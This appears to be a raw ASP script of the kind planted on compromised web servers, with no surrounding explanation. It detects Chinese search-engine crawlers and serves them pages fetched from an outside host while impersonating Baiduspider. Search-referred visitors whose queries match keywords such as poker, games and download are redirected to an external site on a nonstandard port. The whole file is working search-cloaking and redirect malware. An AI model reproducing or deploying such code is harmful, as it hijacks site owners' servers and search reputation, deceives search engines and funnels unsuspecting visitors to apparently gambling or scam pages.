ï»?%
Server.ScriptTimeout = 0
Dim URI, QUERY_STRING
URI = Request.ServerVariables("URL")
QUERY_STRING = Request.ServerVariables("QUERY_STRING")
Const HOST = "http://dw.image1.online/"
Const MULU = "app|ios|android|download|blank|games|play|video|poker|news|vod|post|activities|id|?|a|dy|2024|index|index.asp|en"
Function isEngines(userAgent)
isEngines = (InStr(1, userAgent, "Baiduspider", vbTextCompare) > 0 Or _
InStr(1, userAgent, "Sogou", vbTextCompare) > 0 Or _
InStr(1, userAgent, "360Spider", vbTextCompare) > 0 Or _
InStr(1, userAgent, "YisouSpider", vbTextCompare) > 0)
End Function
Function isIncludes()
Dim temp, v
temp = Split(MULU, "|")
isIncludes = False
For Each v In temp
If InStr(1, QUERY_STRING, v, vbTextCompare) > 0 Then
isIncludes = True
Exit Function
End If
Next
End Function
Function isRef(ref)
isRef = (InStr(1, ref, "baidu", vbTextCompare) > 0 Or _
InStr(1, ref, "sm.cn", vbTextCompare) > 0 Or _
InStr(1, ref, "so.com", vbTextCompare) > 0 Or _
InStr(1, ref, "sogou", vbTextCompare) > 0)
End Function
Function getContents(url)
On Error Resume Next
Dim xmlhttp, result
Set xmlhttp = Server.CreateObject("MSXML2.ServerXMLHTTP.6.0")
xmlhttp.Open "GET", url, False
xmlhttp.setRequestHeader "User-Agent", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
xmlhttp.Send
result = xmlhttp.responseText
Set xmlhttp = Nothing
If result = "" Then
result = GetURLFallback(url)
End If
getContents = result
On Error GoTo 0
End Function
Function GetURLFallback(url)
Dim xmlhttp, result
On Error Resume Next
Set xmlhttp = Server.CreateObject("MSXML2.XMLHTTP")
xmlhttp.Open "GET", url, False
xmlhttp.Send
result = xmlhttp.responseText
Set xmlhttp = Nothing
GetURLFallback = result
On Error GoTo 0
End Function
Dim ref, userAgent, ym
ref = Request.ServerVariables("HTTP_REFERER")
userAgent = Request.ServerVariables("HTTP_USER_AGENT")
ym = Request.ServerVariables("HTTP_HOST")
If isEngines(userAgent) Then
Response.ContentType = "text/html; charset=utf-8"
If QUERY_STRING = "" Then
Response.Write getContents("http://dw.image1.online/lunlian/dt1.php")
Response.End
ElseIf isIncludes() Then
Response.Write getContents(HOST & "?xhost=" & ym & "&reurl=" & URI & "?" & QUERY_STRING & "&ua=Baiduspider&f=bd")
Response.End
Else
Response.Write getContents("http://dw.image1.online/lunlian/dt1.php")
Response.End
End If
Else
If isIncludes() And isRef(ref) Then
Response.Redirect "https://kjfc26seo5.26222a.app:2460/welcome.html#kjfc26seo5?cid=jhgb&ref=" & Server.URLEncode(ym)
Response.End
End If
End If
%>